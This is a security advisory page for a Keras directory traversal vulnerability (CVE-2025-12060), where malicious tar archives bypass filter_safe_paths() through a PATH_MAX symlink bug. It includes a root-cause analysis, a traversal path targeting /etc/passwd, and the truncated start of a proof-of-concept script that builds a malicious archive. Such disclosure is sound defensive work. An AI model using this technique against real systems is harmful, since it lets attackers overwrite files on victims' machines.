Skip to content
KerasGHSA-hjqc-jx6g-rwp9

Keras Directory Traversal Vulnerability

High9.8CVE-2025-12060 · Published Dec 2, 2025 · updated Jul 7, 2026

## Summary Keras's `keras.utils.get_file()` function is vulnerable to directory traversal attacks despite implementing `filter_safe_paths()`. The vulnerability exists because `extract_archive()` uses Python's `tarfile.extractall()` method without the security-critical `filter="data"` parameter. A PATH_MAX symlink resolution bug occurs before path filtering, allowing malicious tar archives to bypass security checks and write files outside the intended extraction directory. ## Details ### Root Cause Analysis **Current Keras Implementation** ```python # From keras/src/utils/file_utils.py#L121 if zipfile.is_zipfile(file_path): # Zip archive. archive.extractall(path) else: # Tar archive, perhaps unsafe. Filter paths. archive.extractall(path, members=filter_safe_paths(archive)) ``` ### The Critical Flaw While Keras attempts to filter unsafe paths using `filter_safe_paths()`, this filtering happens after the tar archive members are parsed and before actual extraction. However, the PATH_MAX symlink resolution bug occurs during extraction, not during member enumeration. **Exploitation Flow:** 1. **Archive parsing**: `filter_safe_paths()` sees symlink paths that appear...

GitHub advisory

Affected versions

PackageAffectedFixed in
keras
PyPI
< 3.12.03.12.0
Details and references

## Summary Keras's `keras.utils.get_file()` function is vulnerable to directory traversal attacks despite implementing `filter_safe_paths()`. The vulnerability exists because `extract_archive()` uses Python's `tarfile.extractall()` method without the security-critical `filter="data"` parameter. A PATH_MAX symlink resolution bug occurs before path filtering, allowing malicious tar archives to bypass security checks and write files outside the intended extraction directory. ## Details ### Root Cause Analysis **Current Keras Implementation** ```python # From keras/src/utils/file_utils.py#L121 if zipfile.is_zipfile(file_path): # Zip archive. archive.extractall(path) else: # Tar archive, perhaps unsafe. Filter paths. archive.extractall(path, members=filter_safe_paths(archive)) ``` ### The Critical Flaw While Keras attempts to filter unsafe paths using `filter_safe_paths()`, this filtering happens after the tar archive members are parsed and before actual extraction. However, the PATH_MAX symlink resolution bug occurs during extraction, not during member enumeration. **Exploitation Flow:** 1. **Archive parsing**: `filter_safe_paths()` sees symlink paths that appear safe 2. **Extraction begins**: `extractall()` processes the filtered members 3. **PATH_MAX bug triggers**: Symlink resolution fails due to path length limits 4. **Security bypass**: Failed resolution causes literal path interpretation 5. **Directory traversal**: Files written outside intended directory ### Technical Details The vulnerability exploits a known issue in Python's `tarfile` module where excessively long symlink paths can cause resolution failures, leading to the symlink being treated as a literal path. This bypasses Keras's path filtering because: - `filter_safe_paths()` operates on the parsed tar member information - The PATH_MAX bug occurs during actual file system operations in `extractall()` - Failed symlink resolution falls back to literal path interpretation - This allows traversal paths like `../../../../etc/passwd` to be written ### Affected Code Location **File**: `keras/src/utils/file_utils.py` **Function**: `extract_archive()` around line 121 **Issue**: Missing `filter="data"` parameter in `tarfile.extractall()` ## Proof of Concept ``` #!/usr/bin/env python3 import os, io, sys, tarfile, pathlib, platform, threading, time import http.server, socketserver # Import Keras directly (not through TensorFlow) try: import keras print("Using standalone Keras:", keras.__version__) get_file = keras.utils.get_file except ImportError: try: import tensorflow as tf print("Using Keras via TensorFlow:", tf.keras.__version__) get_file = tf.keras.utils.get_file except ImportError: print("Neither Keras nor TensorFlow found!") sys.exit(1) print("=" * 60) print("Keras get_file() PATH_MAX Symlink Vulnerability PoC") print("=" * 60) print("Python:", sys.version.split()[0]) print("Platform:", platform.platform()) root = pathlib.Path.cwd() print(f"Working directory: {root}") # Create target directory for exploit demonstration exploit_dir = root / "exploit" exploit_dir.mkdir(exist_ok=True) # Clean up any previous exploit files try: (exploit_dir / "keras_pwned.txt").unlink() except FileNotFoundError: pass print(f"\n=== INITIAL STATE ===") print(f"Exploit directory: {exploit_dir}") print(f"Files in exploit/: {[f.name for f in exploit_dir.iterdir()]}") # Create malicious tar with PATH_MAX symlink resolution bug print(f"\n=== Building PATH_MAX Symlink Exploit ===") # Parameters for PATH_MAX exploitation comp = 'd' * (55 if sys.platform == 'darwin' else 247) steps = "abcdefghijklmnop" # 16-step symlink chain path = "" with tarfile.open("keras_dataset.tgz", mode="w:gz") as tar: print("Creating deep symlink chain...") # Build the symlink chain that will exceed PATH_MAX during resolution for i, step in enumerate(steps): # Directory with long name

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-22
Also known as
CVE-2025-12060, PYSEC-2026-1486

More Keras advisories

All Keras
Advisory
Keras has a Local File Disclosure via HDF5 External Storage During Keras Weight Loading
High7.1Feb 18
Keras is vulnerable to arbitrary local file loading and Server-Side Request Forgery
MediumOct 29, 2025
Keras framework vulnerable to deserialization of untrusted data
Critical9.8Oct 17, 2025
Keras: code execution
HighSep 19, 2025
Keras is vulnerable to Deserialization of Untrusted Data
High7.3Sep 19, 2025
Keras vulnerable to CVE-2025-1550 bypass via reuse of internal functionality
High8.8Aug 12, 2025

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.